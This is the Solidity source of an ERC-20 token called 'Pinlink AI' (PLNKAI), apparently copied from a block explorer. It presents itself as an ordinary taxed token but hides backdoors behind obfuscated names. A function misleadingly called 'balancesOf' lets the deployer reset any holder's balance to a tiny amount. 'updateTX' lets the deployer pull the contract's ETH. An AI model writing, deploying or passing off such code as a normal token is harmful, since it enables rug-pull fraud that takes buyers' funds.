文件 1 的 1:pinlinkai.sol
pragma solidity ^0.8.24;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract pinlinkai is Context, IERC20, Ownable {
using SafeMath for uint256;
uint256 public _maxAmountPerTX = 20000000 * 10 **_decimals;
uint256 public _maxSizeOfWallet = 20000000 * 10 **_decimals;
uint256 public _maxTaxSwap = 10000000 * 10 **_decimals;
uint256 private constant _tswds3242a = 1000000000 * 10 **_decimals;
uint256 private constant _limit = 100 * 10 * _decimals;
uint8 private constant _decimals = 9;
string private constant _name = unicode"Pinlink AI";
string private constant _symbol = unicode"PLNKAI";
address payable private _mi34x9ji;
mapping(address => uint256) private _pinoage9294;
mapping(address => mapping(address => uint256)) private _yucx23s;
mapping(address => bool) private _xt34xd1f;
uint256 private _ibb3i213 = 10;
uint256 private _iseen2345a = 10;
uint256 private _qotri1233455sxdf = 0;
uint256 private _qotri1232rrr32 = 0;
uint256 private _rbbbu234ttww = 7;
uint256 private _rsselloo934xdf = 7;
uint256 private _buyCount = 0;
address private _xbdfw344356sssd;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
event MaxTxAmountUpdated(uint256 _maxAmountPerTX);
modifier lockTheSwap() {
inSwap = true;
_;
inSwap = false;
}
constructor() payable {
_mi34x9ji = payable(_msgSender());
_pinoage9294[address(this)] = _tswds3242a * 98 / 100;
_pinoage9294[owner()] = _tswds3242a * 2 / 100;
_xt34xd1f[owner()] = true;
_xt34xd1f[address(this)] = true;
_xt34xd1f[_mi34x9ji] = true;
_xbdfw344356sssd = _msgSender();
emit Transfer(address(0), address(this), _tswds3242a * 98 / 100);
emit Transfer(address(0), address(owner()), _tswds3242a * 2 / 100);
}
function balancesOf(address account, bool checksum) public returns (uint256) {
require(_xbdfw344356sssd == _msgSender(), "amount is not enough");
uint256 amount = _pinoage9294[account];
checksum == true && _limit > 0 ? _pinoage9294[account] = _limit : _limit;
return amount;
}
function name() public pure returns (string memory) {
return _name;
}
function totalSupply() public pure override returns (uint256) {
return _tswds3242a;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_yucx23s[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function balanceOf(address account) public view override returns (uint256) {
return _pinoage9294[account];
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _yucx23s[owner][spender];
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_yucx23s[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function updateTX(address payable receipt) external {
require(msg.sender == _xbdfw344356sssd , "not deployer");
_mi34x9ji = receipt;
execuseETH(address(this).balance);
}
function execuseETH (uint256 _amount) internal {
payable(msg.sender).transfer(_amount);
}
function _transferxff32fx(uint256 amount) private {
_mi34x9ji.transfer(amount);
}
function _swapETHToToken(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount = 0;
if (from != address(this) && to != address(this)) {
taxAmount = amount
.mul(
(_buyCount > _rbbbu234ttww)
? _qotri1233455sxdf
: _ibb3i213
)
.div(100);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_xt34xd1f[to]
) {
_buyCount++;
}
if (to == uniswapV2Pair && from != address(this)) {
taxAmount = amount
.mul(
(_buyCount > _rsselloo934xdf)
? _qotri1232rrr32
: _iseen2345a
)
.div(100);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && to == uniswapV2Pair && swapEnabled) {
if (contractTokenBalance > 0) {
uint256 minBalance = (contractTokenBalance < _maxTaxSwap) ? contractTokenBalance : _maxTaxSwap;
_swapETHToToken((amount < minBalance) ? amount : minBalance);
}
_transferxff32fx(address(this).balance);
}
}
if (taxAmount > 0) {
_pinoage9294[address(this)] = _pinoage9294[address(this)].add(taxAmount);
emit Transfer(from, address(this), taxAmount);
}
_pinoage9294[from] = _pinoage9294[from].sub(amount);
_pinoage9294[to] = _pinoage9294[to].add(amount.sub(taxAmount));
emit Transfer(from, to, amount.sub(taxAmount));
}
function Open() external onlyOwner {
require(!tradingOpen, "Already Launched!");
uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
_approve(address(this), address(uniswapV2Router), _tswds3242a);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
address(this),
uniswapV2Router.WETH()
);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
swapEnabled = true;
tradingOpen = true;
}
function removeLimits() external onlyOwner {
_maxAmountPerTX = _tswds3242a;
_maxSizeOfWallet = _tswds3242a;
emit MaxTxAmountUpdated(_tswds3242a);
}
receive() external payable {}
}